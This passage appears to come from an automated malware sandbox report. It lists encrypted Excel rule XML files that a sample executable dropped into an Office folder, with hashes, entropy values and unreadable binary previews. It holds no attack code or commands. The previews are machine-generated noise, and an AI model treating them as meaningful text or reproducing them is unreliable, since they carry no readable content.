Preview:	<?xml.U..2YCN..a.z.).CW.T...o..])A.Ci....1.I_....q.`.......F....'..P.n......L....:T..xd.n.....F;e.. {.j....P#...+<Bo3P...q1...(P0L....q.e..:.b.t.s..K....Q.m.....\.......~'+E.".#..U.(.......Y.?..\.0ws..w.58\|e.aB......A..j.D...g.....,..k.wr..E.2q'.6..5.......sH(...&......30.....$.l$.....:.C....i..B-.w.r.$.gY..`........D..4.........E.@..N....R...}.....I..K<..*:...;.>.mj.....Zs5U..F.h..+.W...9.c.>E>.?.EBhp"P1j....mk..s.../....-...N...X.....Lv}...V..FA(^..........%V4_..P...........U6q.s.....4..@-...T...(.;5.H.....\.....-....D.u.Z.........(>c... ..7......P....i.&Dh`L}.5...5RK...W$.@[...mYw...b#IT{.../.7/..Z.t$..l.:..b..qm .z.)..{.O..~Q...b..b...C(/......X..God.{...A.....F....8?.d.-7q.....8(...,I..._....UX.^..?}b.^6%Z9u.Qc..\-gk....T.'N..u..=h....}.H....'U.@z..]K \|bQ&.bb...d^...h>..]..........\|?/..O.{.f...l.p. ..#J.Ssn. .+\.]..f4...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.931497216745098
Encrypted:	false
SSDEEP:	48:JNfNmBSSZNJlhazirlGFmLVWE3RA9kV7IAkVhqS4/7devcVngCINlD:pmcSZDaUlGeROa7IAQhqS4xevcINd
MD5:	23990F850E3D9D5E00BC3F46960E888B
SHA1:	5FC81B2A5B693CC973F3CF6D4C496BB1E2CA5E07
SHA-256:	09895D90DE199F62ACFA81C7ACE4FB27DF6F9687CA47CF0A5AF44AA4D8E5E46A
SHA-512:	D85843377FD93DEE7A78640AC953F9EE618CAA6C92A05EC5228AAA9F66903A18E60F1AFDFB4F2DF963F33357C0BA09BAB5332FCA2B08588C4AC4C5A630A9350D
Malicious:	false
Preview:	<?xml..?.........n ....&J+.Y.<.5+....I.=.W`.....l..Kr...{.lL....y.q....Gf[.\|....:.3....c...,@...dI\.>...$...._.;.RZ../v-{]hwB.K........W...W....[..v%h5..`UB..>.74.w.+.G.l...b......:U...F.....UO10&A.%X6........j........<.J..#$..".00.v......d7.n0$5.......!(@'.S.......>.D.s.y.....4.%........O?6....m..B....$.F.....w6.t.r..n`_.....i......r.g.....Y.RH..e.........._y.@...6N3....t.`.x.....&..Q.}........".b0fH..Q..mn....-.n`...u...H..."3kcEE....0n..S..U~../.$.....V.j3..FP`.gr.... ?=-L.=...z.Ua.My...[q...% .}.tn...$}....Q'...x..t.E^`;..W..@.t..),.UF...n.t..1..L....7d.t...zfeJ....,lKJ.e/3I..O..<k.....i.Z...E..7...ATw#.z..........l.`..r......5..}...".c..0.`LR.9?.W. ...E....W...J{.[.+.p7..w....v..l.\|.H.M;M......0.F.0....v7.s......a.>..L>c....%?.c....3.'4[."X...;.L.fh..-.&.`.h..Z..2.x.."8..F..q.M.K.Y....`\n...t...L......He...B...G.k........;h..........C....4...q...6.....[.b....u....)h...P..M)B..D.B\|..U......m.!.s..v.....c2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.9162284854726375
Encrypted:	false
SSDEEP:	48:gl0qvEorZ05FpTHBA3HvJa6sob42YmR1YbwV3o1qyyD:qQsFBa6LM2V9V3o1qP
MD5:	9077D74EDCD9C8D41E2C2FD56ED153D1
SHA1:	6C89CF7F1254921E047A5232102A1807435ED815
SHA-256:	C50D3898634CAA2F68FA2693B0959A75833E9B14144D41CE98E5F21002F3240D
SHA-512:	40922CB7AFDA53B3684BD5B73C6BBE290E56959C9C43002C572EF8D3584515FD220D93D19C416DD09CF57EFE0983E9F0ECDDAB331C5A732E0EA3379E551D5F3D
Malicious:	false
Preview:	<?xml]..M..\|..`.....qV..s'...<4...E\|zk........K2. Br.M...Jt.1_.BY.H"0.r..zB.hU....-.6...Eh...J..!.e.....H. b1..\|y.....b..b....I..s#1.uB.q(......3).1..~...2 .RD.[.a....)/L.3...M\nQ.X.........=.Z. _.'..rW.=u..Y..4...4.:.....S.m.AN3~^ 5.M....AmR..!d.....5..e...T.C=. t.s..U.GD.9..Q.B,?.Z....!.XV%.E.....!md.....K.o(......2.$.{^8.Z.\|....B.U.=.....(..0..~X....0....}..,/;....wK....sM.s..9(....8....H....].....RVU4J.>...ff.vuh..@...k..z....N..O...R...OD.9.?\|&.A./^....X&59...%.U.Y..0.....D.o..e..%......dP.$.u..b.. ~....s.w/..tpq...b...u..{D..&.'U7..GS.....,....T..6 ........8 .:w...T....T_.\.8.r.'d...L......F....a<C.oS...u....5U..[.S....-.cxG@_{..^m..x..r...h.iqqJM7.....e..V.V....#....P..."-..C....-.P.4e.....nb,. ..""0.._a.%....KE...9.K..4!..[..D .>}V&F..h....*Yb..n]A.Z....<...H.....X..A`...c.)..u4.h.H...cG!.V.~Z...B/`...+%......~.4......Ojn..y..8x...~.."...........\.r...CX.L45....}.......h.vi...\|.p...Jk.\|.f..u.:h.d....6......3wUX!..~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.945151113546628
Encrypted:	false
SSDEEP:	48:D++lpiC30d6YqbwJxy7pZAXbkPwdz/+6x3KW/aNoj6KxeaY66uqK2dXfTZXPDJnf:Vlpi20d6xbKS6XhdzL3P7Y667NDJvH
MD5:	E97CA5BCBF34FF9CA20EC95D3D41B7C1
SHA1:	A190002F8EBBA14FE589B2A53317056E9418E562
SHA-256:	F2B1D8053C9DC87DD1466EE362554964E7F9C47CEF84E6835790919C5E83F3DA
SHA-512:	9B53FC11DBD2494165CFE8AF95C494D7BB3A273F0FD824822FF8A660348B3843E864557656EB5376E093DCAB8ED74F25F9F1E5158EDA4800EE83211D96CD1027
Malicious:	false
Preview:	<?xml.\|d...o....g/o-..E...B...}j ).\.DjhTe+^H........>....T...-.1....lZX.M...za.O."Z.ema;..w......k./F....eD.v^{......]A.+.$t ......bM...p.B-{.'z\r.0.......C.JP..j.g...4..4Da....(...n....6..Gq..h,2.......GL._.....%..#.X.i.S........In.....X...{.......<.X9...6...r..)4v2j6..18.Y.....]..F.lln..5....r.9.\$..s'....2...6. ./?.."!T.."axl..x.O..x\|.Qd.....#.....T..... ...aL.......R./..K...ZP.c.0.]./.9. .cb...w.IA.k...c.....@)..........^.+l._.....i;.....zM.....+1..............o.........4.o.>.._.<..{!J.#,....&.c.b.....u..V.\|.".&I..w.w.N.F...lBn...b:E.iA....9.=xF..........T.j.7.}.]v............R...b.4.u......<.J.l.~d.t..@.A3.X....@...Y.\.}..F}42.-f._w.W..7..0...h.H%.\|g..Q...z5.......^QZ/..N..?.........3a.BOLe.C.....vOC3....`9f{d^.(....^..p....X....PMfU..".{.S.........u..~..v..%....._....M....D..zi.v@.].].......:r.........*u......L.iM......a.....Y!;F.D.K.ObQ..!....e.@...............y 8..cq.u...t.AY..E..,.C&I ..V_D...S .n.q......B7..{.ZK.R..Mn..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.962794712589981
Encrypted:	false
SSDEEP:	96:cvLzhSz6dwGIfnbU+umjws4kVijqaZxBTL91txTGJtVw+n24hnA:cPoikduNgVcZjZlGVhnA
MD5:	BA3FE26D310EA7192BA6D3AEC3574AEE
SHA1:	A2C5DD425D8D483D32B3577FB663740866C3C020
SHA-256:	A93190AD77AF40A64EDA675AFDCB7F260D5EB0015C36880E881139D2A24F120A
SHA-512:	A7FC90D54F4A40FF63B0875212571F2B06223AD30518FC0B98CFEDCC56A465AA66137800EF54418BFF6D33157F441903A8CA1DFB69D8AFD732C2EE3A9C41BC02
Malicious:	false
Preview:	<?xml..O.id.M.{..M......B..1....A U.{p..S}b.h.I^J.Y.....4.Y.g....C...u.. .....4.U.I....{.n..*G.._..},...G+.z......C.m\|.Z.#....x..8.C...9F.V..b...5.&.1h...D.72.....(.E.R...6.vOhZ..y...:i.=. ....p.w=.._....@......Z...u...u&.=..Y....om.....=..[,...??L..PS..)..{.H.....7u.)...I...+Y..K."U.....'......o..........I...+_......q..@.yp......M.X[...{..Y..@"...M...L\...."Z..\|..F..M@.x.d..<?..D.#K...!.2..2.....0....;l...v)...C...A.......,.L"K.Q..0..8Ar1..i...5.N.1.j...Q......F...C..p1....h.V..T.........F.,~.xQ$$u.{..2 ...]......)d..w.....`#.~\|L...H...-...-R.2w..6..\|pUF....xb.ks.0....u.;G....w_..~.....VNd.'..t<....2._.s1g~.pp>.....1ex-.).].U.a..(.RQ..G..ra.G..=.,....A.h...hC.g...............`G....R....-b...1....EI..V=d.As.:...!..Qig...x...:.c.).vD.\...!.w.@..1.....<.....\|<...d..&].;....6....a...Y.>L..h3<".K;fF..3..R0:?...f&.mbe[Ja..j........G>.Br@....^.p%...K..>}.A<M..u.e.8.6.l......'...5..6i.......?...s........\..XX..N.9./[....-....}=.6Uc..n...R.\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977133019687555
Encrypted:	false
SSDEEP:	192:Ag0FIgWQ6Ga8YnKL3w7WCxmxcoF21Faijf:AVOgWQ6XKLkEx/E5
MD5:	94F9A9F9E847F4E36010190AF55F68C9
SHA1:	3E31CC18BE3431EEC7DA1672DCBF9732686C1516
SHA-256:	E46B7F7478B7B0954C70A5DADBF9FF5FD04852799637273D2B750FC7EBD6E1D5
SHA-512:	64880077CA27A299B3E83FAFE385C05B2C2BA2F99ED80F29DE27EEA15E5D97F843BD0164149DCADD9B044054D16B44211729F05B17AED7BDF01AF4C3373F46C0
Malicious:	false
Preview:	<?xml.>......4..5."W...b.E-........wb.&e>J.....S...F..8N+...l}...k.-..9O_ ..HD[...FP....Xf.=<...).a...xL4 ...t....cB /.2.'9........g..E.S.....o..i9.7?.......t..$.Z..k......s..=#.Yd.. :...}.k=,..\|....=..}....h.t..Q... ..r..\|hx.)..n.o.^.}.....x..6.Brp..jE...<^.i...C..V..yQ.Q.U..)....0Y.R.{(.$....X..^.0y^...4{f.....Q...f...fe>..._0/.....o.C.D.%.....a..5.{9J..\|..o.L..j.'Lbrm.%&..hL..........r.oEu..A.0.{........O.....O.p......S.P...~..`3..[..Q..}.....8.MFY..X.E..9...D/bN.P`G.xD...D..j....{...%Yk......b9....V\|8...D......e#cb"3/..1..^;....1`.e..Dc.M.......mt...k.j`.0........a...+B....hq......gu.D..}2.....D...V..q.....X...R...z..Y.ND.j..tA....\S.b.A[z.:t3..'........X.\|Va....M.oS........@.kjfi..A.`l..X.........Rb\|....@...._.F...4.vi.....+.../...J.].+...B.-q....ha.6.. .....2k...wb...eb.......o.....8Yh..5.......r%.4.trUi.O)....0..%. ^....>....r...L.....S.;....aF.V....<....\|..g>.i"\.I.F.E. .....0.\|....h ...7@V...[..Y..o.."u..E].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.972939713634666
Encrypted:	false
SSDEEP:	192:r9kUzR5f4OKmcMaBqSljaoUy/qo+DxKP1ec0WxDKsTzc7Fo0atT:r9V93naxlfUy4xQEc920zuo0atT
MD5:	732EF2053547DFD899A46904AF7504B7
SHA1:	154255AFC837C9A068263AF0A2D63BA9115C09CD
SHA-256:	8DBFC1893363A52FF714651A2B589EFB236C501B02AF3B053B40C72E7EEAC91B
SHA-512:	971F4EBAF9F927F23EB7980272C051AE3A6BED56A83F189AC9554EC8C5298CF2149F482C0C54BBA1BFADFB3F59D7984F93A161082E2113BCF6ED74396E20581D
Malicious:	false
Preview:	<?xml$8..O...X....g...>.,?...W..'.i.mm.!e?\....F.........L..q..n..32.=V.E....l.w9.o..."s....a.c...1..O.C..'....BF.h...p..Z{..73..(..B.....Rb-......{k.}....8..2..F.N..z.<./\........l...f..g.g.....H..r8.b..b.h...f....qH....T.G.jy.<0=......;......(=T_......W1.;.U./z#}.zI..g.^.{)>...bn..k.......FO..<C.!N..7e..&j..v...EQ).... O.X.{...s..q..u.t....o.%.Z.......(e.(...v.F-...z.II.."3Z...`.@.Sg....C.PQ[..N.J....u.[.2.q.J..z...?'....+..bd.@.E.Z.v.1D.r.R..&.....})<....bi.]fh....'.......YrKy.+JO.~i....y]....-...oe......v.G.o.3D.& ...>..T..ED..Rh........2(.....7.\|...7..9Z..Y3:X....M.n.3.......?[p..e"....{.i^jwl....s...q....#.G......{V.......QI\|...5z.R?-.C~Sk.^....V......)...C_....C..,.l..Ap.e..v.$....-V.......nr....f.K...Jv......S...!......zN5..F...r..M.s.FN...;...R~.o..u....B<.h}C......x.\.E.A...$.u.Yt&aN....VW.q5......5<\..5......:.>...;..?H,.b/f. &..MHY..x-..^.+E..T).}.4.".'G..C..P..z.8...g..%Z....\.........W/.......0C)>.....\.c....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.870016213307611
Encrypted:	false
SSDEEP:	48:rXec7iw56om90EBbyd+XxJ1nuhfgcwW1KLuD:rXec7iHomjB+sxA4cAC
MD5:	391C9C4ED01881C651DDE9F480A0F426
SHA1:	ADA1D83BFEE0A67FA33222CA97485FBAE652F610
SHA-256:	B6D9CE15F1C716FBDB16A773299E775A56E11D4F87B481FA97B80B1496679259
SHA-512:	FC03DC306ED7595366E728FA96D2FF270669CFD001A809C2F067475CCE10E41FC1041908C24E0277008322194D0CD507EF348BF89A5A89AF46C963E2A99B2508
Malicious:	false
Preview:	<?xml............b.qO.P..&.\|....IT.Bw.Y=...p9..XJ. h......3=.D.&..v....\...u..\|-...>.y..k.#.o...f0..+.OV.f.. ...jr...Mjv^(.....7..\.d...(.)6.5..O...07.GL.,....+...... ..[..Ls..[.M...'EB.^Se.iz.B.....Y..q....I4.H....![}.`.m.:g<7H...xPj:;..8p....r....0k.8.aAQ)8....-h....c.4f....t..)...e.16......x..6.D.....H..{.}.6...."=..2..A..(.Y../p...{..VK=@.T..?..1(...k..F..t..8.O.(...&.Wm;...F/iSKN...._..c..6#.U>..B..=.{..A.........],....+.g.......ze`\|.......A..0.A...(......j..E=:.3\.....` ..BYF.}....T.....N.P.6..^.......B..........mr..z>...!'.m..v.Z..)...\/.r..!..l.4..O.e.d......in..38.....3.E.]..`...Q....k.....U....M.....Ny.?...y)@....h.....w..o\v...T.Q-.qS..x.mktT{c..x&....(R...^.l8V.~.w.d.Y.5.....A-Fv.Z..X.}KT....A...!.....g.p..nj.yDr.>... ..N...kGrjK...:fw.3...<.7p.\..ID.I..M....4..m...qo..Y[..wj.=.di..\|...3.-$e4..Y..B.c^9C...../....\.....&..K.="..S....<]).nrpb..(L....{9..W...-......I2}.U.....{.=...R.A.6..;3...{n..i..Y..+.s.<..yo/...]f}..@.G.R.L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.882408583248224
Encrypted:	false
SSDEEP:	24:Aa8vJil6VTFLp7fSWLjQdL4LevjYeiD47Y0ASebbZwYGKQqeIBsQb72bD:r8NFLpTSWUkLerbicASeB9uIBs6oD
MD5:	9287E785DC567C97CF6C73235C365019
SHA1:	3A1AE1AD1262DEBCADB372949946246D110987C9
SHA-256:	45C1B46845E625822AB47C71E72112E03EE6D66E2ADEB48EDE4C04A27AE2EC4C
SHA-512:	0AC393ADD72AB2679849C92EB8892952AF2D2D6677170967CC861C872649E47A66252D024CF34D437457F8C9364D094DB9D42DCB95F4206B4FB43E02D090D50F
Malicious:	false
Preview:	<?xml.`...^..s)H..i.;.UFC..R..G..9t..o0...Dq.g9..q..u..z...8...8.0...V...../....i7.....%.L.rh..C..>6YAg..wry~[=.Vs$..Q.o.....Sv.....H.x..)5.B,\|....R.E.w..8Q....yl..]n.i.\|.c.y^w..."..#t@.c..A....:.L_..g..A.W.2Q....t....4....r....k=D.Q..`..vBO...0....&.LBUR7.B}...d+.Q....z.F+.{....v.E..8.....gi.0....d.'.....6...U......:...&q../$...P6r...T....m..&...29...E..\..#..`..K.?.mKa...v..r.......w..>9..qq.k..........J}.......C\|6. !..C.N....+%G......"Q..D.0..^.j...`).J.. .HX..oUl...(.[.]z..m.\.....H...w.....;...kp.}.ck.:E..p.$.x].>U...:.v..wy.?.\|.m...B..Q..F.C..\|...].....T..!W..W.6.....&...?...a....;.).....DC.v....S..V.L..R,..5......!.[.&Lj/gU..=...&.C.....089qwi5'F6.B.e...r^.+.>x.@.q..q...K..C}2.+.!.#R......V..i.o..aMt..Q4.w...&Ow.U..#......'Y.Sa.Jw+dr..^.0....{....`..\6.J..C.`.A...z...1..I..U.B......j...../L..)3'.....1..jM.._..S3`...p..(Y%.kd....=..A..C.... -....`.M.9c(.'D2..:.%...`EhfE...\...u/.k..@O..>-p...k.T...\4.G..L..cL'...1.......y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.87407001081506
Encrypted:	false
SSDEEP:	48:NEEwOk+gbtC7DTGfG9v7/ZoTi+gwu26OeD:NEEwBtOvGe9vTZEtd6Om
MD5:	044D6EB577FF7AFB9D2A56D11FB17262
SHA1:	70B8357DB7067B38AAC6466DAB9BD37D258AFD3F
SHA-256:	68F84CD45747040C3DE25C9F00AC80478DB0E862ED8C658818122634C7781085
SHA-512:	A8CA2C8FED72BB7404F65FAB49F8AAA708CA9B0AD9F45306FFCCEEEEDEC17220FBEC21ADA9343960EAC49AB0DF3E3CF9219DFA4E561D37C4BFE290B3215508A8
Malicious:	false
Preview:	<?xml.D......2W.(i.qh(...h.8.4`.W.&..n........[.\|.../DZ...b.....i..%..N.I.K_FN.m.....I.>..%7..P...Y...B.....[...U..]EY.5.{x...p6.34.wr....$..H..I.[......+. LP.........:..Ra.w#...m....LeR.....E.H....u]4jn..5.W....ts.....w..Lp.(_..9....fi.8.........B.7.k..O...Q.:.........1....,(.....Gb.i...H.p%....]n........Fz..4.`...."\M.yf..-.Iz&.1....f.!7....}OG.N\#...-...\|]. =.6!&..f..P:..Y........:....6..D.....>$.9....\|.rc.H)....C.CpR\.X.k...;-.....\|Lm.%A..:.{.{...u."......$....h..e..c..7Rj%Xd..&...}...)..}.!..()Dh.f...U..6%..J..3.Y......a.....Dv...,...$.!....6-....JmKI'E.\..4..)....dS......r.Gjr.L"...^..y...q...E5..:R.Qm..\s.^..&."....z.(..E.QH..fx1r.N.....AI.@+..^+HX............ha.....6.$..>\|....I.p{..;...~Z{]......."..p!....!...(....9y...S........2....$..`.mK...".]...&`............~...W....l.jj"...<..{.;n4.4..@.....+^....,.S.)...f.........y.KU...f..0Uo..z...WL.c...);u)..Z.N..g..H\|..O...........qB.-.K.\}........5.c5F.....u..Rf.L.Q.A.......$,.+....A.....?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.841805252511344
Encrypted:	false
SSDEEP:	24:SnMIYE+j2MN/ugwUhoT2WlbHej+RKk1RSNyT+nzuMMTF0ej5RKkf/8YJeAEjz+vv:o1YE+aMN/uPUCT2WBHeSRFMq+nqRP803
MD5:	0C195D4E37B5F43F5BB39CCF8F7576DB
SHA1:	4D2823733517CDBB51752BD7F6CB06C08A8BED4B
SHA-256:	12E20EC392AD7E4A558B11C08CF21B6B200C24C0A198B147AC4AE8164BD1C29C
SHA-512:	4F2E04515545490400445D5DBE2BCE9498D88C425D115E65A3C2A90AE88C4F3FA94C139B243EAB5EF3326A03664F8D6B3B2A05C626F265BAD046D1CA7D7F0CE2
Malicious:	false
Preview:	<?xml...m...p]..O...z.zA2..(.P.NT....(c...U....E..JJ0...".9".I:.!.q.....M.....8......Em._Vob].a....#..mQ.u....;..%..95..$...q5.....E;.......1....d..8[Kp..\.qJPI.d!zG..\|...kJw.<...zO.....wl...i).....CHvu..2..>.1.C.dQyL......wf...`.......:...Z....].....H.^a0.....0.\v.D......wT..H.....w.G.$.f.<.y.........?...U.[.@...3.\|..<.C..c.1x73..$g...'z.B;v....S.X..Q..l....r.c..4...&.n...{.u.\|.>5.T.5k..d.(8.KtU.....).E"...=]..OP".)\|..P....c..Vb....;..g.........Y:(.......o.N...0.wTZ%.?...-!..S...u...H...J.T..ev......%...s..:.}.^..b....D.l....1E...F\|.I... 6.4.....!.....9I..u.&........Pi4......&..Z.....qW....b..w0..5.....A.$d....F-oL.:62....1.X.f.Md.rf.../v../.=.^I..@..+4.9."K.z..`.\|Un..l..{....'.......!)..-md@.S.S.W...E).R..L.jG....n9\l.?......d6......#P&.Db.9....i...aQ....cP1S'....TK...d.l#.0. =,...a=.ORc.Jy.-..}3....'P.WX...Y....$;T....#..G..K.tV.l.k.Y.:/;6_.A...g..[}.T1h.(). T..O.....E..7......)...g'[6.m.)W..w. ..(.?9#.y@.......*.A.Qe2...........V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.854299332841751
Encrypted:	false
SSDEEP:	24:X7cqR4RW60P149RVOVmdfLOesfzHoqiJKf+l7OZFdiD6BmBaYmv/9EfWefo7Gb8N:iW6Q14PV7lCesfzh+KpfCBa918jo7qwb
MD5:	BA3C078C03CE528499BDDED5D5B6B2B2
SHA1:	EA882728D27D1506207F8A6ED9885883E5FC09C9
SHA-256:	121CA7E630BFE30926D5F81055B9199D7D1F5D8A3E2CF9294AE0F59D2CD49381
SHA-512:	12DB80211ED605288A3A4493228EEC422BEABECAF9A8D3A23868C6D62B6DE98EDC2FE7D7A2014900FC5521D4AA0ACC42D465F82A1F8A577DF207F54D91A42021
Malicious:	false
Preview:	<?xml.D2....0..#=.....b.FU.x..z........qwf......f/...9..r.eu.~...?HS.".!...,3..x...}...,....E. ..3...@..3.I>. ..,8....4.EGVf...n=.....]v..).v.Q-_c....E.)..L.^.4.m...O.....T.<.)O.3m8..d?..').H...gF....&....]..:+i..(..+aeK...Ov...A.?.a.N../...........[.%f...$...!X....XX....e...m..R.\..R9..z.....[..zD..K..\...E..}(K....$.$j&H3...)..tx@P[.s.]....#.. .....8%e_..,...b........g..R.;...i...:p.w8m,.2....E......ih0..!U..>b.1.H.Sd.....?.\|l`...d.@<..f..^.1...c..z...G\|....G. .wOq.:.e.2t.q2F.)p..6. 8e../.C.m.N. E.:...P$^... ..N\..:34.n...Y....L&M.......=>{.:.X..S.....Je..>6..q..<#R..Pu..Ot..V......(..*?.R5.O.[.=.....J..j.......A.p... YD..q.5...j/....`LHLce&..;.UX..A1..5.........M....s.x.3.....(g>.7;k^..# .......:.[%y.@#.......~R..>.:.v.G.5lsS.Ko..\|..+w...z.)..[.../....e9.....Q..@#........I..$...R..5.U.4..L.o.H.U.Rj....^.z.....V{F...n..c...5..Xv.T!.Cl....)?..\.1......~J...#.. ~.00...}.G...G/.k.7..F.E..;0.'3....A...W..CkU(.P$3.Qq?LFBA.. X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.868272015284778
Encrypted:	false
SSDEEP:	24:WD+OE0GXathfmMfh1TCVDX+SlYyDsJDtfiP0Dss/mgY0jb8BpWsW+lB+2bD:WaOEimY614DtqP0D9w0jb8BFPD
MD5:	15E2B83711DF190D93FE027F01E694FF
SHA1:	1E37EFF837E96475CF9D00F98453AE11B89DCEBE
SHA-256:	CF7D8E63EB2BF3FA0453843A197D20529BA3CC19D1463EA9B07A6A265D768372
SHA-512:	F5B58395F4B257FFC93D7FF6D93C564B2801DDC6406FA795A63B3FE6514FBAFF35F418A2EF48FDA4056958E11C3EF68A9943704C2BC33882A22E26D39A8769B3
Malicious:	false
Preview:	<?xml.....]........[....vH....n...oS.X..WX...Z......^g....{$..........QC.!`....$vmz..z.....H....W.F.Q..Au.f..._..A,Rs~........kb..a.9..0..}....l.UV..Q...).b....#...z...l@..o..U..k..lh4.ZE..K.....?c%.n...J?p.h.......5I<.6....#.'..../..Hh..2.....7m.8....w;n....^.qV4..o...G.Y.Dt..l:-...5."..F....bi..U.._}..5<6.Q.y..?Xw[..3.7".?sz<...f.I0q.y...3....Jo.......{.......7....._..C....0.@.s..d8.......J..Z....q.,.-E.6.g...B...G.@...Wow....Qn.+xow.......z<C.En.<..r'.X'..Y......#=.*.....Ce...0c....b...g..6Q6\....r.`.Q.. ...%.-.\|.......R...H...Io....,np..../...j.W.k.M.Mt...E.\|.i.......{.C.......l.4x.^.2-.>4X..e..>.1....m."\Z.I..F.~o.P``1.!\|....._...a..^p.....^.....3.&.....(..H@FF. z.c)..y&l,.pY.<M..a.:4..]Z-.\|.7\W............JY.....6).....s}..G....K..>...n...t..t\....(Ss.`......1...W.o8..f....z.'..!..;......fRT'......#....."b.E....I`50....M.....A.(...(....^B......&;sn..kg.Ruy....X...0....n..\|.cp...V..u.\|....p.L...;27.....x...wQ....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.7740556811000046
Encrypted:	false
SSDEEP:	12:T/7iJyfCx1wOMxuAJLP1DcYWhPn5CF8Iv2sxtVUFndpXR0iRDA/z1KHv9zx5SUdV:3uyfCxjQ91DBgPn2v8TD0AvM2bD
MD5:	F9A726B18BB4F74CF6F0271F3FB572A1
SHA1:	D1732C74018FD1130728310B178F730DEC4CBFA6
SHA-256:	223498666998DB6D8E2A512B86DB689B3A03396B1F0F403C5B8A7C9935D8E7A8
SHA-512:	C90BAFC001B2B7D5E4FBA9115390E16A085AE063B8E99A83CB58B8723C3B37818E9B3C3FEC81E45376D9B54610E042D60D0AB389EB1E29C0DDD0821A6876FABF
Malicious:	false
Preview:	<?xml..e.dy.At.....b....4......m;J..#.X.....NN..4..C.5.BN...DTa.Q`,b.C.....-C...@4......'33..U.&."$..Q~....@7_8.H].Q.%..U!....<...q..&...uD2.....R....B...j.?......0.....ab.z.J..........G......A5E..`{...h.Vi.Fs./.,.E..$y7w.xA[.m9...1.b.G.TlzE/......wl.[5...}.b5.F..%..B.,<_tzj...q1...-...n...@T....)......:X.bm...p(.R'....w^..I..]....95...`...E...".Wzd....kJ.....Z.C..^....1.........O.5B3.S....1(L........L0}...B.a...&...=..w..F....X...Wq!.F5..!.....6...J...B.P.......v.$r.u:.'.H..\.PG&=.eq..K:.wPj.B.+...\|..a..(...J....T..;...../...._.....}BBY}.hs..K.w..)..I..e....f.en..i..H.....7..W....:N..wFQb{c.z......;\|....a.a..7&...N55..6.......<.$..@..>.v'Y...+...\....)....c.@f..D`..;...r..h.OG..BG.....C.#F..g......6.!<.y.I....Z.....V...r.xo!&....g1........tD.=...]."i.}ZG.O%.\......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.947653699212322
Encrypted:	false
SSDEEP:	96:6XUYUzraKHDYSCD4TqHfxWOd+iGDHyrjAF:kfbKUfD4egigHkK
MD5:	702DC66CF6F22339B7703F311AA65041
SHA1:	1F3043B4A567D38372A008DB05018C2BE2456B62
SHA-256:	C74619FA5F4310509333F18FC1456F9847F88A8D002D8A00F436E6E85977151D
SHA-512:	15E098ED2F9EAB733C044FB623DE9D935B533F0F6EB21BBAD2D62DE1C4427ECCC3EF0199CDA88CEF10F0FC245F76443E83AE1EF634EB766F19C61318A59B0227
Malicious:	false
